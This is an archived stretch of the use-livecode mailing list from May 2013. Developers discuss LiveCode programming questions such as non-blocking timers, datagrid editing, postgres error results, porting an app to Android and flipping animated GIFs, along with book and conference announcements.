http://lists.runrev.com/**mailman/listinfo/use-livecode > From jacque at hyperactivesw.com Mon May 13 03:05:32 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Mon, 13 May 2013 02:05:32 -0500 Subject: ID caching: how to test? In-Reply-To: References: <518DA8BE.5080804@fourthworld.com> <518FCC70.1070001@tweedly.net> <51902541.6080600@tweedly.net> Message-ID: <519090BC.70704@hyperactivesw.com> On 5/12/13 8:52 PM, Peter Haworth wrote: > Anyway, I'm sure there are circumstances where this change would provide a > significant performance improvement. I just think they are few and far > between and would much rather see RunRev spend their time, no matter how > little, on fixing. I've seen so > many software projects get delayed by sneaking in random features like this > - it's not just the time it takes to code them, it's the time to do the > various levels of testing, documentation, etc as well. These things are never done on a whim. RR works on their own customer projects internally. They not only have their own clients but there are also some registered users who pay extra to get custom issues addressed for their development problems. The revision eventually gets added to the main release and we all benefit. I'm pretty sure that the new caching scheme wasn't just pulled out of the air randomly. RR needed it for a reason. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From matthias_livecode_150811 at m-r-d.de Mon May 13 03:16:00 2013 From: matthias_livecode_150811 at m-r-d.de (Matthias Rebbe) Date: Mon, 13 May 2013 09:16:00 +0200 Subject: Simultast Login Information Message-ID: Hi, Did anyone of the simulcast users already receive her/his login details? Regards, Matthias From shawnlivecode at gmail.com Mon May 13 05:49:46 2013 From: shawnlivecode at gmail.com (Shawn Blc) Date: Mon, 13 May 2013 04:49:46 -0500 Subject: Simultast Login Information In-Reply-To: References: Message-ID: Yes. On Monday, May 13, 2013, Matthias Rebbe wrote: > Hi, > > Did anyone of the simulcast users already receive her/his login details? > > Regards, > > Matthias > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From matthias_livecode_150811 at m-r-d.de Mon May 13 06:49:40 2013 From: matthias_livecode_150811 at m-r-d.de (Matthias Rebbe) Date: Mon, 13 May 2013 12:49:40 +0200 Subject: Simultast Login Information In-Reply-To: References: Message-ID: <4C552FE8-B5D0-4593-B4EB-73C9B9F77933@m-r-d.de> Shawn, when did you get them? Regards, Matthias Am 13.05.2013 um 11:49 schrieb Shawn Blc : > Yes. > > On Monday, May 13, 2013, Matthias Rebbe wrote: > >> Hi, >> >> Did anyone of the simulcast users already receive her/his login details? >> >> Regards, >> >> Matthias >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From me at paulmaguire.me Mon May 13 16:48:24 2013 From: me at paulmaguire.me (Paul Maguire) Date: Mon, 13 May 2013 21:48:24 +0100 Subject: [AN] iOS to Android issues... Message-ID: <4B92750A-AB39-487A-9C55-C9EF8C5B0761@paulmaguire.me> (Android N00b) Hello there. The acronym says it all. I am trying to port my first iOS app to Android on MacOS and I'm a bit lost. I have the SDK set up and I can run various emulated Android hardware profiles (a bit sluggish on my MacBook but hey...). A few observations on first load: 1) The graphics are missing. All my graphics are linked to from an included folder I have next to the main app. I have included them in the Standalone Application Settings (I also have a couple of fonts). All this works nicely when creating the bundle for iOS. But they just don't appear in Android - ulp. I take it I'm missing something here - do I need to import (embed) all the assets? That would be very annoying if so because I want to keep the codebase unified. I have done basic Android tests before and I embedded the media and it was fine. Is there any way to not to have to embed my media in Android? 2) I use 'put's to the console in OSX for help in debugging in iOS. I can't see any appearing when I run the Android emulator. Is there an Android SDK console window somewhere where I can see my puts? Can anyone help me out with some pointers? Kind regards, Paul. From m.schonewille at economy-x-talk.com Mon May 13 17:42:43 2013 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Mon, 13 May 2013 23:42:43 +0200 Subject: [ANN] Book. Programming LiveCode for the Real Beginner In-Reply-To: References: <5179C0E3.3090802@economy-x-talk.com> <38B60E18-D904-42AA-9AC0-A121E3ACE493@verizon.net> <517A37F5.9080007@economy-x-talk.com> <517AE994.8080803@hindu.org> <51854112.9040002@economy-x-talk.com> <51867C86.1080107@braguglia.ch> <51867E7B.1090702@braguglia.ch> Message-ID: <51915E53.5050201@economy-x-talk.com> Hi guys, The book has arrived in the office today. Three boxes full with books waiting to be shipped all over the world. I must say, it is really cool to have my own book in my hands. We have sold more than half of all books and this means that we are almost breaking even. Still, it isn't a very profitable enterprise yet. Therefore, I?d like to ask you to keep reminding your friends and colleagues of this book. If you work at a company, university or school, we might be able to give a discount if all your colleagues or students buy the book together. Contact us and find out how to save a lot of money. Unfortunately, we are unable to get the books at the conference in time. We will ship all books directly to your own address. If you want to have a first-print copy, you'll have to be quick. Only 40 copies are still available and I expect them to be sold out in three weeks. We will probably print more books, but obviously there will never be another first print. The book has a Facebook page now. Open the URL http://qery.us/3gi to go to the Facebook page. As soon as we have 1000 "likes", we will raffle off 10 copies of the book. Sometimes, I post brief updates about the book on Twitter. Go to http://twitter.com/xtalkprogrammer to follow me. Tomorrow, we start shipping. The first books should arrive shortly. -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Use Color Converter to convert CMYK, RGB, RAL, XYZ, H.Lab and other colour spaces. http://www.color-converter.com Buy my new book "Programming LiveCode for the Real Beginner" http://qery.us/3fi From coiin at verizon.net Mon May 13 17:51:04 2013 From: coiin at verizon.net (Colin Holgate) Date: Mon, 13 May 2013 22:51:04 +0100 Subject: wi-fi report from Travelodge Message-ID: Someone else in the bar, where I am at the moment, seems to be coping with the free wi-fi, but I didn't have any luck with that getting email and other things. I did the ?20 for the week deal (on the network named "spectrum") and that's working a lot better. From skip at magicgate.com Mon May 13 20:21:21 2013 From: skip at magicgate.com (Magicgate Software - Skip Kimpel) Date: Mon, 13 May 2013 20:21:21 -0400 Subject: Timed scripts without locking up functionality Message-ID: I am having a hard time researching a solution since most of the forums are down :) Here is my issue, hopefully somebody has the simple answer to my question... I have a script that runs every two minutes and I have been calling it with: on mouseUp wait for 120 seconds processRequest end mouseUp I then call a repeat script that keeps checking for the status and repeating it until a condition is met. Obviously when I do this it locks up my software until the condition has been satisfied. How can I do this without locking everything up? From bonnmike at gmail.com Mon May 13 20:24:52 2013 From: bonnmike at gmail.com (Mike Bonner) Date: Mon, 13 May 2013 18:24:52 -0600 Subject: Timed scripts without locking up functionality In-Reply-To: References: Message-ID: put a "wait 0 with messages" somewhere in the loop, or use a send in time loop instead. send "handlername" to me in 120 seconds On Mon, May 13, 2013 at 6:21 PM, Magicgate Software - Skip Kimpel < skip at magicgate.com> wrote: > I am having a hard time researching a solution since most of the forums are > down :) Here is my issue, hopefully somebody has the simple answer to my > question... > > I have a script that runs every two minutes and I have been calling it > with: > > on mouseUp > wait for 120 seconds > processRequest > end mouseUp > > I then call a repeat script that keeps checking for the status and > repeating it until a condition is met. Obviously when I do this it locks > up my software until the condition has been satisfied. > > How can I do this without locking everything up? > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From kee at kagi.com Mon May 13 20:26:18 2013 From: kee at kagi.com (kee nethery) Date: Mon, 13 May 2013 17:26:18 -0700 Subject: Timed scripts without locking up functionality In-Reply-To: References: Message-ID: <77972A14-9BEB-4422-B29A-683E0565DA39@kagi.com> -- use a send magicgatemouseup to stack "mystack" in 120 seconds -- then in your stack on magicgatemouseup processRequest if condition is not met then send magicgatemouseup to stack "mystack" in 120 seconds end if end magicgatemouseup On May 13, 2013, at 5:21 PM, Magicgate Software - Skip Kimpel wrote: > I am having a hard time researching a solution since most of the forums are > down :) Here is my issue, hopefully somebody has the simple answer to my > question... > > I have a script that runs every two minutes and I have been calling it with: > > on mouseUp > wait for 120 seconds > processRequest > end mouseUp > > I then call a repeat script that keeps checking for the status and > repeating it until a condition is met. Obviously when I do this it locks > up my software until the condition has been satisfied. > > How can I do this without locking everything up? > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From bonnmike at gmail.com Mon May 13 20:26:49 2013 From: bonnmike at gmail.com (Mike Bonner) Date: Mon, 13 May 2013 18:26:49 -0600 Subject: lessons.runrev.com Message-ID: Some visible changes are up at runrev. Main site is still down but lessons.runrev.com has a nifty new look. From dunbarx at aol.com Mon May 13 20:57:24 2013 From: dunbarx at aol.com (dunbarx at aol.com) Date: Mon, 13 May 2013 20:57:24 -0400 (EDT) Subject: Timed scripts without locking up functionality In-Reply-To: References: Message-ID: <8D01E5521AFCEAA-233C-15C09@webmail-m279.sysops.aol.com> What everyone said, though I would: wait 120 seconds with messages. Anyway, you see that "wait" is blocking, and either standard way out of it will release control to the engine while you, er, wait. The "send in time" method is more robust. Craig Newman -----Original Message----- From: Magicgate Software - Skip Kimpel To: How to use LiveCode Sent: Mon, May 13, 2013 8:22 pm Subject: Timed scripts without locking up functionality I am having a hard time researching a solution since most of the forums are down :) Here is my issue, hopefully somebody has the simple answer to my question... I have a script that runs every two minutes and I have been calling it with: on mouseUp wait for 120 seconds processRequest end mouseUp I then call a repeat script that keeps checking for the status and repeating it until a condition is met. Obviously when I do this it locks up my software until the condition has been satisfied. How can I do this without locking everything up? _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From scott at tactilemedia.com Mon May 13 21:07:55 2013 From: scott at tactilemedia.com (Scott Rossi) Date: Mon, 13 May 2013 18:07:55 -0700 Subject: Timed scripts without locking up functionality In-Reply-To: <77972A14-9BEB-4422-B29A-683E0565DA39@kagi.com> Message-ID: Make sure you put the message to be sent in quotes: send "magicgatemouseup" ... Regards, Scott Rossi Creative Director Tactile Media, UX/UI Design On 5/13/13 5:26 PM, "kee nethery" wrote: >-- use a > >send magicgatemouseup to stack "mystack" in 120 seconds > > >-- then in your stack > >on magicgatemouseup > processRequest > if condition is not met then > send magicgatemouseup to stack "mystack" in 120 seconds > end if >end magicgatemouseup > > >On May 13, 2013, at 5:21 PM, Magicgate Software - Skip Kimpel > wrote: > >> I am having a hard time researching a solution since most of the forums >>are >> down :) Here is my issue, hopefully somebody has the simple answer to >>my >> question... >> >> I have a script that runs every two minutes and I have been calling it >>with: >> >> on mouseUp >> wait for 120 seconds >> processRequest >> end mouseUp >> >> I then call a repeat script that keeps checking for the status and >> repeating it until a condition is met. Obviously when I do this it >>locks >> up my software until the condition has been satisfied. >> >> How can I do this without locking everything up? >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >>subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > >_______________________________________________ >use-livecode mailing list >use-livecode at lists.runrev.com >Please visit this url to subscribe, unsubscribe and manage your >subscription preferences: >http://lists.runrev.com/mailman/listinfo/use-livecode > From dochawk at gmail.com Mon May 13 21:31:23 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Mon, 13 May 2013 18:31:23 -0700 Subject: can't edit first line of datagrid most of the time Message-ID: I can't quite pin this down. I'm now successfully editing my datagrids, and loading/dumping changes to my database. I have a button for the moment to trigger my new lien, and it works with existing lines or an empty datagrid (the actual majority of them in bankruptcy practice). However I get rows, though, the first row is resistant to getting clicked in to begin editing. I can click rows 2 to n and edit whatever I want, and tab around, but the first row is a persistent problem. Has anyone seen anything like this? -- Dr. Richard E. Hawkins, Esq. (702) 508-8462 From dochawk at gmail.com Mon May 13 21:34:21 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Mon, 13 May 2013 18:34:21 -0700 Subject: "revdberr, " as the returned value on *successful* postgres operations Message-ID: I have an ongoing issue on successful operations in postgres. For some transactions, a successful operation returns the string "revdberr," ranter than a numeric value. I now have to trap for both to check success. This would be the first line of a failure message, too (so at least I can tell success and failure apart). Is this a problem with livecode not recognizing all of the success codes from postgres? -- Dr. Richard E. Hawkins, Esq. (702) 508-8462 From pete at lcsql.com Mon May 13 21:41:13 2013 From: pete at lcsql.com (Peter Haworth) Date: Mon, 13 May 2013 18:41:13 -0700 Subject: "revdberr, " as the returned value on *successful* postgres operations In-Reply-To: References: Message-ID: I haven't used LC with postgresql but seems pretty unlikely that a successful operation would return "revdberr". If you post your code and also the full text of the error message you get back, can probably figure out what's going on. Pete lcSQL Software On Mon, May 13, 2013 at 6:34 PM, Dr. Hawkins wrote: > I have an ongoing issue on successful operations in postgres. > > For some transactions, a successful operation returns the string > "revdberr," ranter than a numeric value. I now have to trap for both to > check success. > > This would be the first line of a failure message, too (so at least I can > tell success and failure apart). > > Is this a problem with livecode not recognizing all of the success codes > from postgres? > > -- > Dr. Richard E. Hawkins, Esq. > (702) 508-8462 > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From pete at lcsql.com Mon May 13 21:43:50 2013 From: pete at lcsql.com (Peter Haworth) Date: Mon, 13 May 2013 18:43:50 -0700 Subject: can't edit first line of datagrid most of the time In-Reply-To: References: Message-ID: Haven't seen anything like that before. Do you have customized column behavior scripts? That's the first place I would look. Pete lcSQL Software On Mon, May 13, 2013 at 6:31 PM, Dr. Hawkins wrote: > I can't quite pin this down. > > I'm now successfully editing my datagrids, and loading/dumping changes to > my database. > > I have a button for the moment to trigger my new lien, and it works with > existing lines or an empty datagrid (the actual majority of them in > bankruptcy practice). > > However I get rows, though, the first row is resistant to getting clicked > in to begin editing. I can click rows 2 to n and edit whatever I want, and > tab around, but the first row is a persistent problem. > > Has anyone seen anything like this? > > > -- > Dr. Richard E. Hawkins, Esq. > (702) 508-8462 > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From dochawk at gmail.com Mon May 13 21:52:06 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Mon, 13 May 2013 18:52:06 -0700 Subject: "revdberr, " as the returned value on *successful* postgres operations In-Reply-To: References: Message-ID: On Mon, May 13, 2013 at 6:41 PM, Peter Haworth wrote: > I haven't used LC with postgresql but seems pretty unlikely that a > successful operation would return "revdberr". If you post your code and > also the full text of the error message you get back, can probably figure > out what's going on. > That's the problem--this *is* the entire result. Something like UPDATE mytable SET mypet='cat' WHERE food='mice'; yields this error But then checking SELECT * FROM mytable; yields cat mice where there was a prior entry of "snake, mice" I've seen this message many, many times, and every time I've checked the db contents when getting this one-word error, the commit was successful. It's as if LC has a structure SWITCH CASE lots CASE of CASE conditions put somenumber into theRes break DEFAULT put "revdberr," into theRes SWITCH CASE condition 1; put cr & gizmo after theRes break ... References: Message-ID: On Mon, May 13, 2013 at 6:43 PM, Peter Haworth wrote: > Haven't seen anything like that before. Do you have customized column > behavior scripts? That's the first place I would look. > I just checked that there is no script for the datagrid; is this where it would be? I have a set the behavior of pFieldEditor to the long id of btn "sofaEdScr" in the handler for preOpenFIeldEditor but the only customization is on returnInField put return after char (word 4 of the selectedChunk) of the target end returnInField to allow returns in addresses thanks -- Dr. Richard E. Hawkins, Esq. (702) 508-8462 From bonnmike at gmail.com Mon May 13 22:11:41 2013 From: bonnmike at gmail.com (Mike Bonner) Date: Mon, 13 May 2013 20:11:41 -0600 Subject: "revdberr, " as the returned value on *successful* postgres operations In-Reply-To: References: Message-ID: Are you adding the ; at the end of your sql strings? I'm pretty sure rev appends its own ; so the result would be an extra one. Which might make postgres a) do whatever you told it to, then b) return a confused error due to the second ; Try it without adding the ; On Mon, May 13, 2013 at 7:52 PM, Dr. Hawkins wrote: > On Mon, May 13, 2013 at 6:41 PM, Peter Haworth wrote: > > > I haven't used LC with postgresql but seems pretty unlikely that a > > successful operation would return "revdberr". If you post your code and > > also the full text of the error message you get back, can probably figure > > out what's going on. > > > > That's the problem--this *is* the entire result. > > Something like > UPDATE mytable SET mypet='cat' WHERE food='mice'; > > yields this error > > But then checking > SELECT * FROM mytable; > > yields > cat mice > > where there was a prior entry of "snake, mice" > > I've seen this message many, many times, and every time I've checked the db > contents when getting this one-word error, the commit was successful. > > It's as if LC has a structure > > SWITCH > CASE lots > CASE of > CASE conditions > put somenumber into theRes > break > DEFAULT > put "revdberr," into theRes > SWITCH > CASE condition 1; > put cr & gizmo after theRes > break > ... > END SWITCH > END SWITCH > > return theRes > > > .But I absolutely agree that it makes no sense . . . > -- > Dr. Richard E. Hawkins, Esq. > (702) 508-8462 > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From jperryl at ecs.fullerton.edu Mon May 13 22:50:30 2013 From: jperryl at ecs.fullerton.edu (Judy Perry) Date: Mon, 13 May 2013 19:50:30 -0700 (PDT) Subject: [ANN] Book. Programming LiveCode for the Real Beginner In-Reply-To: <51915E53.5050201@economy-x-talk.com> References: <5179C0E3.3090802@economy-x-talk.com> <38B60E18-D904-42AA-9AC0-A121E3ACE493@verizon.net> <517A37F5.9080007@economy-x-talk.com> <517AE994.8080803@hindu.org> <51854112.9040002@economy-x-talk.com> <51867C86.1080107@braguglia.ch> <51867E7B.1090702@braguglia.ch> <51915E53.5050201@economy-x-talk.com> Message-ID: I'm waiting. tap.. tap... tap... Judy On Mon, 13 May 2013, Mark Schonewille wrote: > Hi guys, > > The book has arrived in the office today. Three boxes full with books waiting > to be shipped all over the world. I must say, it is really cool to have my > own book in my hands. > > We have sold more than half of all books and this means that we are almost > breaking even. Still, it isn't a very profitable enterprise yet. Therefore, > I?d like to ask you to keep reminding your friends and colleagues of this > book. If you work at a company, university or school, we might be able to > give a discount if all your colleagues or students buy the book together. > Contact us and find out how to save a lot of money. > > Unfortunately, we are unable to get the books at the conference in time. We > will ship all books directly to your own address. If you want to have a > first-print copy, you'll have to be quick. Only 40 copies are still available > and I expect them to be sold out in three weeks. We will probably print more > books, but obviously there will never be another first print. > > The book has a Facebook page now. Open the URL http://qery.us/3gi to go to > the Facebook page. As soon as we have 1000 "likes", we will raffle off 10 > copies of the book. Sometimes, I post brief updates about the book on > Twitter. Go to http://twitter.com/xtalkprogrammer to follow me. > Tomorrow, we start shipping. The first books should arrive shortly. > -- > Best regards, > > Mark Schonewille > > Economy-x-Talk Consulting and Software Engineering > Homepage: http://economy-x-talk.com > Twitter: http://twitter.com/xtalkprogrammer > KvK: 50277553 > > Use Color Converter to convert CMYK, RGB, RAL, XYZ, H.Lab and other colour > spaces. http://www.color-converter.com > > Buy my new book "Programming LiveCode for the Real Beginner" > http://qery.us/3fi > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription > preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From andrew at ctech.me Mon May 13 23:25:53 2013 From: andrew at ctech.me (Andrew Kluthe) Date: Mon, 13 May 2013 22:25:53 -0500 Subject: can't edit first line of datagrid most of the time In-Reply-To: References: Message-ID: I haven't seen this problem exactly, but I have experienced weirdness in the first row of datagrids if my dgData array index starts with 0 instead of 1. This also might be a complete delusion on my part. On Mon, May 13, 2013 at 8:56 PM, Dr. Hawkins wrote: > On Mon, May 13, 2013 at 6:43 PM, Peter Haworth wrote: > > > Haven't seen anything like that before. Do you have customized column > > behavior scripts? That's the first place I would look. > > > > I just checked that there is no script for the datagrid; is this where it > would be? > > I have a > > set the behavior of pFieldEditor to the long id of btn "sofaEdScr" > > in the handler for preOpenFIeldEditor > > but the only customization is > > on returnInField > put return after char (word 4 of the selectedChunk) of the target > end returnInField > > to allow returns in addresses > > thanks > > > > -- > Dr. Richard E. Hawkins, Esq. > (702) 508-8462 > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- Regards, Andrew Kluthe andrew at ctech.me From dochawk at gmail.com Mon May 13 23:35:22 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Mon, 13 May 2013 20:35:22 -0700 Subject: can't edit first line of datagrid most of the time In-Reply-To: References: Message-ID: On Mon, May 13, 2013 at 8:25 PM, Andrew Kluthe wrote: > I haven't seen this problem exactly, but I have experienced weirdness in > the first row of datagrids if my dgData array index starts with 0 instead > of 1. This also might be a complete delusion on my part. > Mine are quite definitely starting with 1, and with no missing values. -- Dr. Richard E. Hawkins, Esq. (702) 508-8462 From kee at kagi.com Tue May 14 00:15:05 2013 From: kee at kagi.com (kee nethery) Date: Mon, 13 May 2013 21:15:05 -0700 Subject: Timed scripts without locking up functionality In-Reply-To: References: Message-ID: yes. good catch. Thanks Kee On May 13, 2013, at 6:07 PM, Scott Rossi wrote: > Make sure you put the message to be sent in quotes: > > send "magicgatemouseup" ... > > > > Regards, > > Scott Rossi > Creative Director > Tactile Media, UX/UI Design > > > > > On 5/13/13 5:26 PM, "kee nethery" wrote: > >> -- use a >> >> send magicgatemouseup to stack "mystack" in 120 seconds >> >> >> -- then in your stack >> >> on magicgatemouseup >> processRequest >> if condition is not met then >> send magicgatemouseup to stack "mystack" in 120 seconds >> end if >> end magicgatemouseup >> >> >> On May 13, 2013, at 5:21 PM, Magicgate Software - Skip Kimpel >> wrote: >> >>> I am having a hard time researching a solution since most of the forums >>> are >>> down :) Here is my issue, hopefully somebody has the simple answer to >>> my >>> question... >>> >>> I have a script that runs every two minutes and I have been calling it >>> with: >>> >>> on mouseUp >>> wait for 120 seconds >>> processRequest >>> end mouseUp >>> >>> I then call a repeat script that keeps checking for the status and >>> repeating it until a condition is met. Obviously when I do this it >>> locks >>> up my software until the condition has been satisfied. >>> >>> How can I do this without locking everything up? >>> _______________________________________________ >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your >>> subscription preferences: >>> http://lists.runrev.com/mailman/listinfo/use-livecode >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From richmondmathewson at gmail.com Tue May 14 01:46:59 2013 From: richmondmathewson at gmail.com (Richmond) Date: Tue, 14 May 2013 08:46:59 +0300 Subject: Flipping Animated GIFs Message-ID: <5191CFD3.1020600@gmail.com> So, I am working out something fairly babyish for one of my "introduction to programming" nonsense in the Summer and have a stack that has the dimensions: 1044 x 788 it has a transparent graphic with a 2 pixel black border of dimensions 1024 x 768 [this is to explain to kids what is "on-screen" and what is "off-screen"] and an animated walking stick figure called img "MAN" (animated GIF) I plan to use the arrow keys on the keyboard to move "MAN" around. HOWVER, I don't really want "MAN" walking backwards sometimes, so decided to FLIP him like this: flip img "MAN" horizontal (grammatically a bit dicky, but coding-wise acceptable) when I do that the animation stops . . . not good at all. So . . . questions: 1. Is there a way to, while flipping my GIF, ensuring it keeps animating? 2. Or, am I going to have a leftward facing version and a rightward facing version and muck around with visibility? Richmond. From dick.kriesel at mail.com Tue May 14 02:09:50 2013 From: dick.kriesel at mail.com (Dick Kriesel) Date: Mon, 13 May 2013 23:09:50 -0700 Subject: skip lists In-Reply-To: References: <59E77690-B922-4B95-AA04-8721BB73960B@gmail.com> <518EC41F.5050600@fourthworld.com> <5190178B.3090108@tweedly.net> Message-ID: <6B3178A3-4AEB-47B9-8731-EAF0F648AE52@mail.com> On May 12, 2013, at 6:18 PM, Peter Haworth wrote: > A few months back, there was a great post that revealed what I think is a > little known way to reference array keys - if I'm not mistaken it was from > Dick Kriesel. I have no idea how (in)efficient it might be compared to the > other methods mentioned but here's the technique again. > > Basically, you can supply a numerically keyed array as the key of an array. > So, in the example of getting all the keys between N and M, with N=10 and > M=15, you would build an array, let's call it tKeyA, with the following > keys and values: > > 1 -10 > 2- 11 > 3- 12 > 4- 13 > 5- 14 > 6- 15 > > To get those key values from an array tDataA, "put tDataA[tKeyA] into > tFilterA". Hey, Pete. Thanks for the credit, but when I try that expression, tDataA[tKeyA], on that data, it's empty. That expression, however, would be good for accessing node tDataA[10][11][12][13][14][15][16], if you had one. For the convenience of the curious, here's what Mark Waddingham wrote: This is on the list to include for the next version. In that version with: put tValue into tArray[tKey] (indeed anywhere you can currently do tArray[tKey]) The meaning of 'tKey' will be extended: 1) If it is a string then it is as it is now 2) If it is a numerically keyed array starting at 1, then it will mean: put tValue into tArray[tKey[1]][tKey[2]]...[tKey[n]] where is the number of elements in tKey 3) Otherwise it is an error. This will allow you to construct an array containing the path to the key you want to modify/fetch/delete dynamically. For the convenience of the inquisitive, the thread's in the use-list archive for March, '12. -- Dick From dave at businessplaninsight.com Tue May 14 02:52:09 2013 From: dave at businessplaninsight.com (Dave Kilroy) Date: Tue, 14 May 2013 07:52:09 +0100 Subject: automated iOS rejection: Non-public API usage Message-ID: <8D011B59-D50B-4DC8-831A-3AB5BD86583E@businessplaninsight.com> I also have been bitten by this bug - at 04:20 this morning - I would be tearing my hair out but I have none left! Anyone got any information on when RunRev will put out a new version? Kind regards - Dave From dave at businessplaninsight.com Tue May 14 03:03:18 2013 From: dave at businessplaninsight.com (Dave Kilroy2) Date: Tue, 14 May 2013 00:03:18 -0700 (PDT) Subject: wi-fi report from Travelodge In-Reply-To: References: Message-ID: <1368514998505-4664835.post@n4.nabble.com> Hi Colin, that may have been me - and yes I forked out money too :) -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/wi-fi-report-from-Travelodge-tp4664814p4664835.html Sent from the Revolution - User mailing list archive at Nabble.com. From coiin at verizon.net Tue May 14 03:31:35 2013 From: coiin at verizon.net (Colin Holgate) Date: Tue, 14 May 2013 08:31:35 +0100 Subject: wi-fi report from Travelodge In-Reply-To: <1368514998505-4664835.post@n4.nabble.com> References: <1368514998505-4664835.post@n4.nabble.com> Message-ID: <8623BB5E-B670-47B3-B0DC-8090FBE0D7DB@verizon.net> No, his name was Chris, and he's not here for the conference. He was just on iPad though. On May 14, 2013, at 8:03 AM, Dave Kilroy2 wrote: > >Hi Colin, that may have been me - and yes I forked out money too :) > From shawnlivecode at gmail.com Tue May 14 03:43:54 2013 From: shawnlivecode at gmail.com (Shawn Blc) Date: Tue, 14 May 2013 02:43:54 -0500 Subject: Simultast Login Information In-Reply-To: References: Message-ID: May 8th 0906am was the timestamp. It was in an email for KickStarter backers. On Monday, May 13, 2013, Matthias Rebbe wrote: > Hi, > > Did anyone of the simulcast users already receive her/his login details? > > Regards, > > Matthias > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From mcgrath3 at mac.com Tue May 14 03:57:34 2013 From: mcgrath3 at mac.com (Thomas McGrath III) Date: Tue, 14 May 2013 03:57:34 -0400 Subject: Live13 Message-ID: No video, no chat, what's going on ???? -- Tom McGrath III http://lazyriver.on-rev.com mcgrath3 at mac.com From mcgrath3 at mac.com Tue May 14 03:59:28 2013 From: mcgrath3 at mac.com (Thomas McGrath III) Date: Tue, 14 May 2013 03:59:28 -0400 Subject: ChatRev not working Message-ID: <70E46EEC-6AB5-4C40-9136-935F5445AD11@mac.com> I am getting a socket error using chat rev. Any ideas how to get around that??? Tom -- Tom McGrath III http://lazyriver.on-rev.com mcgrath3 at mac.com From m.schonewille at economy-x-talk.com Tue May 14 04:14:39 2013 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Tue, 14 May 2013 10:14:39 +0200 Subject: ChatRev not working In-Reply-To: <70E46EEC-6AB5-4C40-9136-935F5445AD11@mac.com> References: <70E46EEC-6AB5-4C40-9136-935F5445AD11@mac.com> Message-ID: <013A459B-56D9-466B-83C0-E1DE96B86743@economy-x-talk.com> Hi Tom, Make sure to connect to chat.chatrev.com:8008 -- Kind regards, Mark Schonewille Economy-x-Talk Http://economy-x-talk.com Share the clipboard of your computer over a local network with Clipboard Link http://clipboardlink.economy-x-talk.com Op 14 mei 2013 om 09:59 heeft Thomas McGrath III het volgende geschreven: > I am getting a socket error using chat rev. Any ideas how to get around that??? > > Tom > > -- Tom McGrath III > http://lazyriver.on-rev.com > mcgrath3 at mac.com > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From userev at canelasoftware.com Tue May 14 06:31:45 2013 From: userev at canelasoftware.com (Mark Talluto) Date: Tue, 14 May 2013 11:31:45 +0100 Subject: Live13 In-Reply-To: References: Message-ID: The Keynote is over and we are in a mingling session for networking. The spirit is quite high. The RunRev staff is highly available to talk to. The vibe is very upbeat. The venue is one of the best so far. I might add that the internet works at this location. If you were at the Atlanta conference, you know what I mean. Tom, you surely remember that fiasco. The weather is cool but comfortable. This is your one minute catch up on what is going on over here. Brought to you by your friends at Canela. Best regards, Mark Talluto http://www.canelasoftware.com On May 14, 2013, at 8:57 AM, Thomas McGrath III wrote: > No video, no chat, what's going on ???? > > > -- Tom McGrath III > http://lazyriver.on-rev.com > mcgrath3 at mac.com 